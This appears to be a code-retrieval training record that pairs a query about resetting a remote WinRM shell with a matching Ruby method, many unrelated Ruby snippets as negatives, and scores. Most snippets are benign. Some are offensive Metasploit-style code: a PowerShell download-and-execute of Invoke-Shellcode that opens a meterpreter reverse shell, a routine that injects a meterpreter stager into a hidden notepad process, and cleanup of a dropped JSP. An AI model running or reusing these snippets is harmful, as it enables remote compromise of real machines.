"def provision_execute(s, commands)\n errors = []\n return errors if (commands.nil? or commands.empty?)\n \n if (!get_field(\"cloud_ips\").nil? and !get_field(\"cloud_ips\").empty?)\n host = get_field(\"cloud_ips\")[0]\n elsif (!get_field(\"cloud_private_ips\").nil? and !get_field(\"cloud_private_ips\").empty?)\n host = get_field(\"cloud_private_ips\")[0]\n else\n msg = \"No IP address associated to the machine #{host} - cannot run SSH command\"\n errors << msg\n log_output(msg, :info)\n return errors\n end\n \n ssh_password = get_field('ssh_password')\n ssh_options = {}\n msg = \"Running SSH Commands On New Machine #{s.username}@#{host}\"\n msg_options = {}\n if (ssh_password and !ssh_password.empty?)\n ssh_options[:password] = ssh_password\n msg_options[:password] = \"*\" * ssh_password.size\n end\n msg_options[:private_key_path] = s.private_key_path if s.private_key_path\n msg_options[:private_key] = mask_private_key(s.private_key.strip) if s.private_key # show only last 5 chars\n log_output(\"#{msg} using #{msg_options}: #{commands.join(\", \")}\", :info)\n\n for i in 1..10\n begin\n log_output(\"[#{host}] Running Commands:\\n #{commands.join(\"\\n \")}\\n\")\n responses = s.ssh(commands, ssh_options) do |data, extended_data|\n write_output(data, :buffer => true) unless data.empty? #stdout\n write_output(extended_data, :buffer => true) unless extended_data.empty? #stderr\n end\n\n responses.each do |result|\n if result.status != 0\n msg = \"[#{host}] Command '#{result.command}' failed with status #{result.status}\"\n errors << msg\n log_output(msg, :info)\n end\n end unless responses.nil?\n break\n rescue Errno::EHOSTUNREACH, Timeout::Error, Errno::ECONNREFUSED, Errno::ETIMEDOUT, Net::SSH::Disconnect => e\n log_output(\"[#{host}] Try #{i} - failed to connect: #{e}, retrying...\", :info)\n if i+1 > 10\n msg = \"[#{host}] Could not connect to remote machine after 10 attempts\"\n errors << msg\n log_output(msg, :warn)\n else\n sleep 5\n next\n end\n rescue Net::SSH::AuthenticationFailed => e\n log_output(\"[#{host}] Try #{i} - failed to connect: authentication failed for user #{e.message}, retrying...\", :info)\n if i+1 > 10\n msg = \"[#{host}] Could not connect to remote machine after 10 attempts, authentication failed for user #{e.message}\"\n errors << msg\n log_output(msg, :warn)\n else\n sleep 5\n next\n end\n end\n end\n return errors\n end",
"def count\n\t\tputs \"Counting number of entries in the local host repository ...\"\n\t\tcnt=0\n\t\t@known_hosts.keys.map do |key|\n\t\t\tunless is_ip?(key)\n\t\t\t\tcnt=cnt+1\n\t\t\tend\n\t\tend\n\t\tputs \"Current number of entries: #{cnt}\"\n\t\treturn cnt\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\"\n\tend",
"def max_cycle_length\n scc_kosaraju.map{|scc| scc.size}.max\n end",
"def size\n redis.llen list_id\n end",
"def check_running_count!(redis, limit)\n running_count = current(redis)\n if running_count >= limit\n running_count = current(redis) if cleanup!(redis)\n if running_count >= limit\n raise ThrottledError.new(\"#{self.class}: #{@name} already has #{running_count} processes running\")\n end\n end\n end",
"def max_respawns\n @options['max_respawns'] ? @options['max_respawns'].to_i : 5\n end",
"def pending_size\n @redis.zcard(\"xque:pending:#{@queue_name}\")\n end",
"def list_length(key)\n timeout_retry(3, 3){\n write \"LLEN #{key}\\r\\n\"\n case i = integer_reply\n when -2\n raise RedisError, \"key: #{key} does not hold a list value\"\n else\n i\n end\n }\n end",
"def queue_length\n mutex.synchronize { running? ? @queue.length : 666 }\n end",
"def get_queue_size\n if @number_of_processes\n @queueSize = @number_of_processes\n else\n @queueSize = DATSauce::PlatformUtils.processor_count * 2\n # get max threads from platform utils\n end\n @queueSize\n end",
"def queue_size\n @redis.llen(\"xque:queue:#{@queue_name}\")\n end",
"def size\n @redis.llen @key\n end",
"def count_unique_connections\n connected_users = []\n ActionCable.server.connections.each do |connection|\n connected_users.push(1)\n end\n return connected_users.uniq.length\n end",
"def max_blocks; end",
"def memory_allocation_exceeded(host_name)\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'nodes', host_name].join('/')} | jq '.mem_used<.mem_limit*.8'`\n end",
"def pool_size\n @pool.pool_size\n end",
"def max_packets=(_arg0); end",
"def getExecuteArity\n return 6\n end",
"def num_non_responsive\n @hops.find_all { |hop| !hop.ping_responsive }.size\n end",
"def max_allowed_packet\n NO_MAX_PACKET\n end",
"def nr_chunks\n ENV['NR_CHUNKS'] ? ENV['NR_CHUNKS'].to_i : 10\n end",
"def max_attempts_count\n @options[:max_attempts_count]\n end"
] |
[
"0.63175696",
"0.61611533",
"0.57459944",
"0.56649756",
"0.5626086",
"0.55016613",
"0.54920995",
"0.5425902",
"0.5343629",
"0.5341369",
"0.5330872",
"0.5321345",
"0.53138965",
"0.53011936",
"0.528496",
"0.52069306",
"0.52038836",
"0.5191957",
"0.51918805",
"0.51796687",
"0.51665974",
"0.5162488",
"0.51493984",
"0.5145311",
"0.5132017",
"0.5125722",
"0.51147765",
"0.5113068",
"0.5113068",
"0.5079583",
"0.50713104",
"0.50691473",
"0.5059576",
"0.50554055",
"0.50405914",
"0.50405914",
"0.50241345",
"0.5020835",
"0.5008861",
"0.5002016",
"0.49969023",
"0.49607757",
"0.4953893",
"0.4938037",
"0.49345344",
"0.49185976",
"0.49185976",
"0.4916315",
"0.490533",
"0.4896467",
"0.4883806",
"0.4878879",
"0.48655123",
"0.48615152",
"0.4857365",
"0.48541632",
"0.4853025",
"0.48528153",
"0.484347",
"0.48307598",
"0.48307142",
"0.48281094",
"0.48269513",
"0.48149484",
"0.48111424",
"0.48076096",
"0.48060766",
"0.47930896",
"0.47869635",
"0.477904",
"0.4765392",
"0.47641578",
"0.47635528",
"0.47549778",
"0.4753564",
"0.4752654",
"0.47442108",
"0.47404224",
"0.4737202",
"0.47349402",
"0.47311294",
"0.4727305",
"0.47156954",
"0.47135022",
"0.47116846",
"0.4711388",
"0.470925",
"0.47064802",
"0.470172",
"0.47013104",
"0.46921185",
"0.469194",
"0.46864325",
"0.46805477",
"0.4678344",
"0.4674752",
"0.46744263",
"0.46730468",
"0.46684474",
"0.46626145"
] |
0.6916242
|
0
|
Closes the remote shell session and opens a new one.
|
def reset
debug {
"Resetting WinRM shell (Max command limit is #{max_commands})"
}
open
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new_session\n # disable autocorrect (oh-my-zsh)\n shell_write(\"unsetopt correct_all; unsetopt correct\\n\")\n # fixing oh-my-zsh themes\n shell_write(\"PROMPT='$ '\\n\")\n # fixing issues with ZSH syntax highlighting (not very common)\n shell_write(\"unset ZSH_HIGHLIGHT_HIGHLIGHTERS\\n\")\n # fixing issues with exotic ZSH prompts\n shell_write(\"prompt off\\n\")\n ###\n\n # disable bash completetion\n shell_write(\"complete -r\\n\")\n # enter\n shell_write(\"\\n\")\n # second enter\n shell_write(\"\\n\")\n #############\n # new_session_start\n rstream.flush\n end",
"def open_session(iter)\n Msf::Ui::Gtk2::Console::Shell.new(iter)\n end",
"def dup_ssh(&block)\n Snapsync.debug \"Opening new ssh session: \"+uri.to_s\n Net::SSH.start(uri.host, uri.user, password: uri.password, non_interactive: true, &block)\n end",
"def call(*)\n debug(\"[CommandExecutor] closing remote shell #{@shell_id} on #{@info}\")\n ::WinRM::WinRMWebService.new(*@args).close_shell(@shell_id)\n debug(\"[CommandExecutor] remote shell #{@shell_id} closed\")\n rescue => e\n debug(\"Exception: #{e.inspect}\")\n end",
"def shell_close()\n self.kill\n end",
"def open\n close\n @shell = service.open_shell\n @command_count = 0\n determine_max_commands unless max_commands\n shell\n end",
"def close_ssh_session(session)\n session.close\n session = nil\n true\n end",
"def open\n close\n retryable(service.retry_limit, service.retry_delay) do\n @shell = service.open_shell(codepage: code_page)\n end\n add_finalizer(shell)\n @command_count = 0\n shell\n end",
"def close\n return if shell.nil?\n\n service.close_shell(shell)\n @shell = nil\n end",
"def close_shell(shell = nil)\n\t\traise NotImplementedError\n\tend",
"def close\n shell.close! if open?\n buffer.flush\n buffer.reset\n end",
"def shell_close()\n raise NotImplementedError\n end",
"def logout!\n @ssh.close\n @ssh = nil\n end",
"def shell_close(shell = nil)\n\t\traise NotImplementedError\n\tend",
"def close\n ssh.close if @_ssh\n end",
"def open_session\n old_session = @current_session\n @current_session = new_session\n result = yield @current_session\n @current_session = old_session\n return result\n end",
"def close\n return if shell.nil?\n\n service.close_shell(shell)\n remove_finalizer\n @shell = nil\n end",
"def remote_shell args\n remote(args) do |ssh|\n command = true\n while command\n print \"> \"\n command = gets\n if command\n result = ssh.exec! command\n puts result.split(\"\\n\").awesome_inspect if not result.nil?\n end\n end\n ssh.exec! \"exit\"\n end\n end",
"def close_remote(port, host = \"127.0.0.1\") \r\n ensure_open! \r\n\r\n @session_mutex.synchronize do \r\n @session.forward.cancel_remote(port, host) \r\n end \r\n end",
"def disconnect\n @ssh.close if @ssh\n @ssh = nil\n end",
"def request_shell\n @state = :shell\n @channel.send_request \"shell\", nil, true\n end",
"def open( options={} )\n pty_opts = options[:pty]\n\n @shell_factory.call( pty_opts )\n end",
"def close_ssh\n puts \"Close connection\"\n @ssh.close unless @ssh.closed?\n end",
"def open_window(options = nil)\n window = terminal.make( :new => :terminal )\n window.launch_ :session => 'New session'\n end",
"def open!\n @session.chanserv.close(self.name, :off)\n end",
"def close\n @net_ssh.close\n @net_ssh = nil\n end",
"def close\n @registry[:transport][:session].close if @open\n @open = false\n end",
"def open_tab(options = nil)\n current_terminal.launch_ :session => 'New session'\n end",
"def tunnel\n system @opts[:ssh][:bin],\n @opts[:ssh][:opts],\n '-p', @opts[:remote][:ssh_port].to_s,\n '-i', @opts[:ssh][:identity],\n '-R', [\n @opts[:remote][:fwd_port],\n @opts[:local][:host],\n @opts[:local][:port]\n ].join(':'),\n \"#{@opts[:remote][:user]}@#{@opts[:remote][:host]}\"\n end",
"def close_remote(port, host = \"127.0.0.1\")\n ensure_open!\n\n @session_mutex.synchronize do\n @session.forward.cancel_remote(port, host)\n end\n end",
"def close\n @repo.request_http(:post, path('session/close'),\n :expected_status_code => 204)\n end",
"def open_session; end",
"def close\n begin\n FileUtils.remove_entry_secure @dir\n lay_to_rest(@pid) if @pid\n @monitor.cleanup if @monitor\n ensure\n setvar 'SSH_AGENT_PID', @agentpid\n setvar 'DISPLAY', @display\n setvar 'SSH_ASKPASS', @askpass\n setvar 'SSH_AUTH_SOCK', @sshauth\n setvar 'HOME', @home\n end\n end",
"def open\n connect\n rescue Object => anything\n begin\n @ssh.shutdown!\n rescue ::Exception # rubocop:disable Lint/HandleExceptions, Lint/RescueException\n # swallow exceptions that occur while trying to shutdown\n end\n\n raise anything\n end",
"def close\n @channel.close if @channel\n @channel = nil\n @ssh.close if @close_all and @ssh\n end",
"def close_session(status = 3000, message = \"Go away\")\n @status = :closing\n\n self.buffer.close(status, message)\n end",
"def command_exec(session,lhost,lport)\n print_status(\"Running Invoke-Shellcode, Please wait 4-7 seconds.\")\n r=''\n begin\n r = session.sys.process.execute(\"C:\\\\WINDOWS\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -Command iex(New-Object Net.WebClient).DownloadString('http://URLHERE');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost #{lhost} -Lport #{lport} -Force\", nil, {'Hidden' => true, 'Channelized' => true})\n r.channel.close\n r.close\n rescue ::Exception => e\n print_error(\"Error Running Invoke-Shellcode, Sounds like a problem between the keyboard and the monitor.....: #{e.class} #{e}\")\n end\nend",
"def close\n log 'closing connection'\n @ssh.close\n end",
"def connect(silent = false)\n info \"starting ssh session to #{config.host}:#{config.port} ...\" unless silent\n options = { :port => config.port, :keys => [config.private_key_path] }\n @shell = Net::SSH.start(config.host, config.username, options).shell\n end",
"def close\r\n command 'close'\r\n end",
"def close\r\n command 'close'\r\n end",
"def interactive_shell\n final_cmd = \"\"\n prompt = DEFAULT_PROMPT\n loop do\n cmd = readline(prompt)\n\n case cmd\n when \"\", \"\\\\\"\n next\n when \"exit\", nil\n finish\n break\n when /.?\\\\$/\n final_cmd += cmd.sub(/\\\\$/,\"\\n\")\n prompt = MULTILINE_PROMPT\n Readline::HISTORY.push(cmd)\n next\n else\n final_cmd += cmd\n Readline::HISTORY.push(cmd)\n end\n\n execute(final_cmd)\n final_cmd = \"\"\n prompt = DEFAULT_PROMPT\n end\n end",
"def remote=(cli)\n\t\t\t# If we already have a remote, then close it now that we have a new one.\n\t\t\tif (@remote)\n\t\t\t\tbegin\n\t\t\t\t\t@remote.server.close_client(@remote)\n\t\t\t rescue\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t@remote = cli\n\t\t\tlsock.remote = @remote\n\t\t\t\n\t\t\tflush_output\n\t\tend",
"def open_shell()\n\t\traise NotImplementedError\n\tend",
"def open_ssh(id=@connection.servers.first)\n command = ssh_cli_string(id)\n exec(command)\n end",
"def request_channel_pty_shell\n channel = @ssh.open_channel do |channel|\n request_pty(channel)\n request_shell(channel)\n register_callbacks(channel)\n end\n @logger.debug(\"[Expect::SSH##{__method__}] complete\")\n channel\n end",
"def open_session_with_login\n $system_config ||= load_config(@@SERVER_CONFIG_PATH)\n url = \"#{$system_config.protocol}://#{$system_config.host}:#{$system_config.port}\"\n Util.open_session(url)\n Util.login($system_config.user, $system_config.password)\n end",
"def shell(reason = nil, username_or_credential = nil)\n if username_or_credential && username_or_credential.respond_to?(:to_str)\n credential = ssh_credential_for username_or_credential\n else\n credential = username_or_credential || ssh_credentials.first\n end\n # TODO(pwnall): loop through all addresses until one works\n address = net_addresses.first\n \n ShellSession.ssh address, credential, reason\n end",
"def ssh\n @ssh ||= @remote.connect\n @remote\n end",
"def new_session\n open_session do |sess|\n sess.extend(SessionMethods)\n yield sess if block_given?\n end\n end",
"def unelevated_session(retry_options = {})\n @unelevated_session ||= connection(retry_options).shell(:powershell)\n end",
"def create_ssh_session\n return Net::SSH.start(JUMPSRV_NMC, JUMPSRV_NMC_USER, password: JUMPSRV_NMC_PW, timeout: 40) # verbose: :info,\n end",
"def session\n @session ||= Ssh::Session.new(name,\n :host => '127.0.0.1',\n :port => ssh_port,\n :username => ENV.fetch(\"TRAVIS_CI_ENV_USERNAME\", 'travis'),\n :private_key_path => File.expand_path('keys/vagrant'),\n :buffer => Travis::Worker.config.shell.buffer,\n :timeouts => Travis::Worker.config.timeouts\n )\n end",
"def open_session\n positions = YAML::load(File.read(SESSION_FILE))\n\n @first_window = true\n @level = -1\n @dirs = [\"open_split\", \"open_v_split\"]\n\n open_windows(positions, @dirs[@level % 2])\n end",
"def login_command_for_windows\n create_rdp_doc\n\n LoginCommand.new(\"mstsc\", rdp_doc_path)\n end",
"def on_success( channel )\n if @state == :pty\n request_shell\n elsif @state == :shell\n @state = :open\n end\n end",
"def open_session\n @current_session = new_session\n @current_session.test_case = self\n yield @current_session if block_given?\n @current_session\n end",
"def close\n SLPClose(@handle)\n end",
"def handler(ssh)\n\t\t\tcreate_session(ssh)\n\tend",
"def exec_new(command, stdin = nil)\n\t exit_status = 0 # define variable so that it will be available in the block at method scope\n\t channel = @ssh_session.open_channel do |ch|\n\t ch.exec(command) do|ch, success|\n\n if success then\n\t @@logger.info(\"SshConnection: starts executing '#{command}'\")\n ch.on_data() do|ch, data|\n #process_stdout(data) unless data\n @stdout_handler.call(data) unless @stdout_handler.nil? or data.nil?\n end\n ch.on_extended_data() do|ch, type, data|\n @stderr_handler.call(data) unless @stderr_handler.nil? or data.nil?\n end\n ch.on_request \"exit-status\" do|ch, data|\n exit_status = data.read_long unless data.nil?\n\t @@logger.info(\"SshConnection.on_request: process terminated with exit-status: #{exit_status}\")\n\t if exit_status != 0\n\t @@logger.error(\"SshConnection.on_request: Remote command execution failed with code: #{exit_status}\")\n\t end\n end\n\t ch.on_request \"exit-signal\" do |ch, data|\n\t @@logger.info(\"SshConnection.on_request: process terminated with exit-signal: #{data.read_string}\")\n\t end\n ch.on_close do |ch|\n\t @@logger.info(\"SshConnection.on_close: remote end is closing!\")\n #@close_handler.call() unless @close_handler.nil?\n end\n ch.on_eof do |ch|\n\t @@logger.info(\"SshConnection.on_eof: remote end is done sending data\")\n #@close_handler.call() unless @close_handler.nil?\n end\n\t ch.on_open_failed do |ch, code, desc|\n\t @@logger.info(\"SshConnection.on_open_failed: code=#{code} desc=#{desc}\")\n\t end\n\t ch.on_process do |ch|\n\t #@@logger.debug(\"SshConnection.on_process; send line-feed/sleep\")\n\t ch.send_data(\"\\n\")\n\t end\n\n #ch.send_data stdin if stdin\n else\n\t @@logger.debug(\"SshConnection: the remote command could not be invoked!\")\n exit_status = 127\n end\n end\n\t #ch.wait\n\t end\n\t channel.wait\n\t return exit_status\n\tend",
"def exit_session\n @window.dispose\n @viewport.dispose\n ShellOptions.save\n end",
"def close\n ensure_session!\n\n session.release!\n end",
"def init_ssh_session\n @ssh_session.close if !(@ssh_session.nil? or !@ssh_session.closed?)\n ssh_opts = ssh_connection_options\n @log.info(\"Opening ssh connection to #{ssh_opts[:host]} as user #{ssh_opts[:user]}\")\n @ssh_session = ::Net::SSH.start(ssh_opts[:host], ssh_opts[:user])\n return @ssh_session\n end",
"def ssh_session\n retry_flag=true\n @log.debug \"ssh is #{@config['ssh'].inspect}\"\n ssh_config = @config['ssh'].clone\n host = ssh_config['host']\n ssh_config.delete('host')\n user = ssh_config['user']\n ssh_config.delete('user')\n # Convert strings to symbols..\n ssh_config = ssh_config.inject({}){|memo,(k,v)| memo[k.to_sym] = v; memo}\n ssh_config[:port] = @vm_ssh_port\n begin\n Net::SSH.start(host,user,ssh_config) do |session|\n yield session\n end\n rescue EOFError => e\n raise(e) unless retry_flag\n retry_flag = false\n @log.info \"SSH session creation failed, retrying!\"\n retry\n end\n end",
"def stop\n @ssh.close if @ssh\n super.stop\n end",
"def close\n return unless @session\n update\n @session = nil\n end",
"def open\n ENV['SSH_ASKPASS'] = File.expand_path(File.join(File.dirname(__FILE__),\n '..', '..', '..',\n 'scripts',\n 'stub_ssh_askpass'))\n ENV['HOME'] = \"/dev/null\"\n @dir = Dir.mktmpdir\n @socketfile = File.join(@dir, \"agent\")\n @monitor = ProcessWatcher::ProcessMonitor.new\n @pid = @monitor.spawn('ssh-agent', '-a', @socketfile, '-d') {}\n timeout = 0\n until File.exists?(@socketfile)\n timeout += 1\n sleep 0.1\n if timeout > 100\n raise \"Couldn't find SSH agent control socket in time. Timing out\"\n end\n end\n ENV['SSH_AGENT_PID'] = @pid.to_s\n ENV['SSH_AUTH_SOCK'] = @socketfile\n end",
"def reset\n service.logger.debug(\"Resetting WinRM shell (Max command limit is #{max_commands})\")\n open\n end",
"def on_new_session(cli)\r\n\t\tif cli.type != 'meterpreter'\r\n\t\t\tprint_error(\"Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}\")\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\tcli.core.use(\"stdapi\") if not cli.ext.aliases.include?(\"stdapi\")\r\n\r\n\t\tbegin\r\n\t\t\tjsp = @outpath.gsub(/\\//, \"\\\\\\\\\")\r\n\t\t\tjsp = jsp.gsub(/\"/, \"\")\r\n\t\t\tvprint_status(\"#{rhost}:#{rport} - Deleting: #{jsp}\")\r\n\t\t\tcli.fs.file.rm(jsp)\r\n\t\t\tprint_status(\"#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted\")\r\n\t\trescue ::Exception => e\r\n\t\t\tprint_error(\"Unable to delete #{@jsp_name + '.jsp'}: #{e.message}\")\r\n\t\tend\r\n\tend",
"def close\n Timeout.timeout(3) { @connector.close }\n true\n rescue\n warn \"ssh connection could not be closed gracefully\"\n Metriks.meter('worker.vm.ssh.could_not_close').mark\n false\n ensure\n buffer.stop\n @buffer = nil\n end",
"def spawn(user)\n log.info(\"Starting shell as #{user}\")\n close\n Thread.new do # so em thread won't die on @slave.shutdown\n slave = Slave.new(psname: \"vines-session-#{user}\") do\n uid = Process.euid\n\n # switch user so shell is run by non-root\n passwd = Etc.getpwnam(user)\n Process.egid = Process.gid = passwd.gid\n Process.euid = Process.uid = passwd.uid\n\n # fork shell as non-root user\n ENV.clear\n ENV['HOME'] = passwd.dir\n ENV['USER'] = user\n Dir.chdir(ENV['HOME'])\n\n shell = Session::Bash::Login.new\n\n # switch back so domain socket is owned by root\n Process.euid = Process.uid = uid\n shell\n end\n File.chmod(0700, slave.socket)\n @slave, @shell = slave, slave.object\n end.join\n end",
"def new_session\n @logger.info(\"Attempting to connect to WinRM (patched)...\")\n @logger.info(\" - Host: #{@host}\")\n @logger.info(\" - Port: #{@port}\")\n @logger.info(\" - Username: #{@username}\")\n\n client = ::WinRM::WinRMWebService.new(endpoint, :ssl, endpoint_options)\n client.set_timeout(@timeout_in_seconds)\n client.toggle_nori_type_casting(:off) #we don't want coersion of types\n client\n end",
"def disconnect\n self.remote.close\n end",
"def with_shell_instance(&blk)\n no_current = @current.nil?\n if no_current\n @current = Open3.popen3(self.shell_executable)\n invoke_setup!\n end\n yield\n ensure\n @current = nil if no_current\n end",
"def disconnect!\n @logger.info(\"Terminating SSH connection to server name=#{@name}\")\n @ssh.close\n @ssh = nil\n end",
"def close\n @client.session.close unless @client.session.closed?\n end",
"def open_session\n s = Session.wrap(Cproton.pn_session(@impl))\n s.open\n return s\n end",
"def tunnel_cmd remote_port, local_port\n \"ssh -NT -R #{remote_port}:localhost:#{local_port} #{user_at_host} -p #{@port}\"\n end",
"def ssh_into(instance=nil)\n Kernel.system \"#{ssh_command(instance)}\" if instance\n end",
"def close\n @logger.debug(@host) { 'Closing session' }\n @transport.close\n @transport = nil\n end",
"def run_ssh_in_terminal(command)\n puts \"running #{command} in terminal\"\n Net::SSH.start(get_access_ip, 'ubuntu', keys: @aws_setup_information[@environment.to_sym][:keyPath]) do |ssh|\n signal = ssh.open_channel do |channel|\n channel.send_channel_request 'shell' do |_ch, success|\n if success\n puts 'user shell started successfully'\n else\n puts 'could not start user shell'\n end\n end\n channel.on_data do |_term, data|\n STDOUT.sync = true\n puts data\n end\n channel.request_pty do |channel, _data|\n channel.send_data(\"#{command}\\n\")\n channel.send_data(\"exit\\n\")\n end\n end\n signal.wait\n end\n end",
"def shell\n verbose { \"Shell(#{@id})\" }\n ___init_readline\n loop do\n line = ___input || break\n puts ___exe(___cmds(line)) || @shell_output_proc.call\n end\n @terminate_procs.inject(self) { |a, e| e.call(a) }\n Msg.msg('Quit Shell', 3)\n end",
"def return_client()\n Net::SSH.start('qa-host','root',:password=>'fortigate')\nend",
"def shell_execute(connection, command, **opts)\n opts = {\n sudo: false,\n shell: nil\n }.merge(opts)\n\n sudo = opts[:sudo]\n shell = (opts[:shell] || machine_config_ssh.shell).to_s\n\n @logger.info(\"Execute: #{command} (sudo=#{sudo.inspect})\")\n exit_status = nil\n\n # Open the channel so we can execute or command\n channel = connection.open_channel do |ch|\n marker_found = false\n data_buffer = ''\n stderr_marker_found = false\n stderr_data_buffer = ''\n\n tfile = Tempfile.new('vagrant-ssh')\n remote_ext = shell == \"powershell\" ? \"ps1\" : \"bat\"\n remote_name = \"#{machine_config_ssh.upload_directory}\\\\#{File.basename(tfile.path)}.#{remote_ext}\"\n\n if shell == \"powershell\"\n base_cmd = \"powershell -File #{remote_name}\"\n tfile.puts <<-SCRIPT.force_encoding('ASCII-8BIT')\nRemove-Item #{remote_name}\nWrite-Host #{CMD_GARBAGE_MARKER}\n[Console]::Error.WriteLine(\"#{CMD_GARBAGE_MARKER}\")\n#{command}\nSCRIPT\n else\n base_cmd = remote_name\n tfile.puts <<-SCRIPT.force_encoding('ASCII-8BIT')\nECHO OFF\nECHO #{CMD_GARBAGE_MARKER}\nECHO #{CMD_GARBAGE_MARKER} 1>&2\n#{command}\nSCRIPT\n end\n\n tfile.close\n upload(tfile.path, remote_name)\n tfile.delete\n\n base_cmd = shell_cmd(opts.merge(shell: base_cmd))\n @logger.debug(\"Base SSH exec command: #{base_cmd}\")\n\n ch.exec(base_cmd) do |ch2, _|\n # Setup the channel callbacks so we can get data and exit status\n ch2.on_data do |ch3, data|\n # Filter out the clear screen command\n data = remove_ansi_escape_codes(data)\n\n if !marker_found\n data_buffer << data\n marker_index = data_buffer.index(CMD_GARBAGE_MARKER)\n if marker_index\n marker_found = true\n data_buffer.slice!(0, marker_index + CMD_GARBAGE_MARKER.size)\n data.replace(data_buffer)\n data_buffer = nil\n end\n end\n\n if block_given? && marker_found\n yield :stdout, data\n end\n end\n\n ch2.on_extended_data do |ch3, type, data|\n # Filter out the clear screen command\n data = remove_ansi_escape_codes(data)\n @logger.debug(\"stderr: #{data}\")\n if !stderr_marker_found\n stderr_data_buffer << data\n marker_index = stderr_data_buffer.index(CMD_GARBAGE_MARKER)\n if marker_index\n marker_found = true\n stderr_data_buffer.slice!(0, marker_index + CMD_GARBAGE_MARKER.size)\n data.replace(stderr_data_buffer.lstrip)\n data_buffer = nil\n end\n end\n\n if block_given? && marker_found\n yield :stderr, data\n end\n end\n\n ch2.on_request(\"exit-status\") do |ch3, data|\n exit_status = data.read_long\n @logger.debug(\"Exit status: #{exit_status}\")\n\n # Close the channel, since after the exit status we're\n # probably done. This fixes up issues with hanging.\n ch.close\n end\n\n end\n end\n\n begin\n keep_alive = nil\n\n if @machine.config.ssh.keep_alive\n # Begin sending keep-alive packets while we wait for the script\n # to complete. This avoids connections closing on long-running\n # scripts.\n keep_alive = Thread.new do\n loop do\n sleep 5\n @logger.debug(\"Sending SSH keep-alive...\")\n connection.send_global_request(\"keep-alive@openssh.com\")\n end\n end\n end\n\n # Wait for the channel to complete\n begin\n channel.wait\n rescue Errno::ECONNRESET, IOError\n @logger.info(\n \"SSH connection unexpected closed. Assuming reboot or something.\")\n exit_status = 0\n pty = false\n rescue Net::SSH::ChannelOpenFailed\n raise Vagrant::Errors::SSHChannelOpenFail\n rescue Net::SSH::Disconnect\n raise Vagrant::Errors::SSHDisconnected\n end\n ensure\n # Kill the keep-alive thread\n keep_alive.kill if keep_alive\n end\n\n # Return the final exit status\n return exit_status\n end",
"def get_new\n logger.debug \"Establishing connection for #{creep.user}@#{creep.host} passwd:#{creep.password}\"\n ssh = Net::SSH.start(creep.host, creep.user, {:password => creep.password, :verbose => (ENV['SSH_DEBUG'] && ENV['SSH_DEBUG'].to_sym) || :fatal })\n ssh.send_global_request(\"keepalive@openssh.com\")\n ssh\n rescue Net::SSH::Exception => ex\n logger.error \"There was an exception in method get_new for SSConnection. Details #{ex}:\\n#{ex.backtrace}\"\n return nil\n rescue SystemCallError => ex\n logger.error \"There was an system error in method get_new for SSConnection. Details #{ex}:\\n#{ex.backtrace}\"\n return nil\n end",
"def close\r\n unbind\r\n # try to stop eventmachine loop\r\n EM.stop rescue\r\n @on_close.call if @on_close\r\n WinRM::Log.debug(\":session => :close\")\r\n end",
"def close\n flush rescue nil\n sysclose\n end",
"def duplicate_session\n\t\trhost = Rex::Socket.source_address(\"1.2.3.4\")\n\t\trport = 443\n\t\tlhost = \"127.0.0.1\"\n\t\tspawn = false\n\t\tautoconn = true\n\t\tinject = true\n\t\ttarget_pid = nil\n\t\ttarget = \"notepad.exe\"\n\t\tpay = nil\n\n\t\tprint_status(\"Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}\")\n\t\tpayload = \"windows/meterpreter/reverse_tcp\"\n\t\tpay = client.framework.payloads.create(payload)\n\t\tpay.datastore['LHOST'] = rhost\n\t\tpay.datastore['LPORT'] = rport\n\t\tmul = client.framework.exploits.create(\"multi/handler\")\n\t\tmul.share_datastore(pay.datastore)\n\t\tmul.datastore['WORKSPACE'] = client.workspace\n\t\tmul.datastore['PAYLOAD'] = payload\n\t\tmul.datastore['EXITFUNC'] = 'process'\n\t\tmul.datastore['ExitOnSession'] = true\n\t\tprint_status(\"Running payload handler\")\n\t\tmul.exploit_simple(\n\t\t'Payload' => mul.datastore['PAYLOAD'],\n\t\t'RunAsJob' => true\n\t)\n\n\tnote = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })\n\ttarget_pid = note.pid\n\t# Do the duplication\n\tprint_status(\"Injecting meterpreter into process ID #{target_pid}\")\n\thost_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)\n\traw = pay.generate\n\tmem = host_process.memory.allocate(raw.length + (raw.length % 1024))\n\tprint_status(\"Allocated memory at address #{\"0x%.8x\" % mem}, for #{raw.length} byte stager\")\n\tprint_status(\"Writing the stager into memory...\")\n\thost_process.memory.write(mem, raw)\n\thost_process.thread.create(mem, 0)\n\tprint_status(\"New server process: #{target_pid}\")\n\n\tend",
"def close()\n # If we don't have one we don't do anything\n return if !@is_scproxy or !self.has_session?\n\n # Send the call to the master\n response = self.proxy_close :port => @port, :master => true\n\n # Did we close it?\n if response[\"status\"] == true\n # Clear our session\n @port = nil\n else\n # Show an error\n raise response[\"message\"]\n end\n end",
"def set_session(env, sid, new_session, options)\n# if options[:drop]\n# @sessions[sid] = nil\n# return false\n# end\n @sessions[sid] = new_session\n\n # Commit the repository, including session data.\n Maglev.commit_transaction\n return sid\n end",
"def shell_open()\n\t\traise NotImplementedError\n\tend",
"def with_shell_instance(&blk)\n no_current = @current.nil?\n if no_current\n Chef::Log.debug(\"RVM::Shell::ChefWrapper subprocess executing with \" +\n \"environment of: [#{shell_params.inspect}].\")\n @current = popen4(self.shell_executable, shell_params)\n invoke_setup!\n end\n yield\n ensure\n @current = nil if no_current\n end",
"def with_shell_instance(&blk)\n no_current = @current.nil?\n if no_current\n Chef::Log.debug(\"RVM::Shell::ChefWrapper subprocess executing with \" +\n \"environment of: [#{shell_params.inspect}].\")\n @current = popen4(self.shell_executable, shell_params)\n invoke_setup!\n end\n yield\n ensure\n @current = nil if no_current\n end",
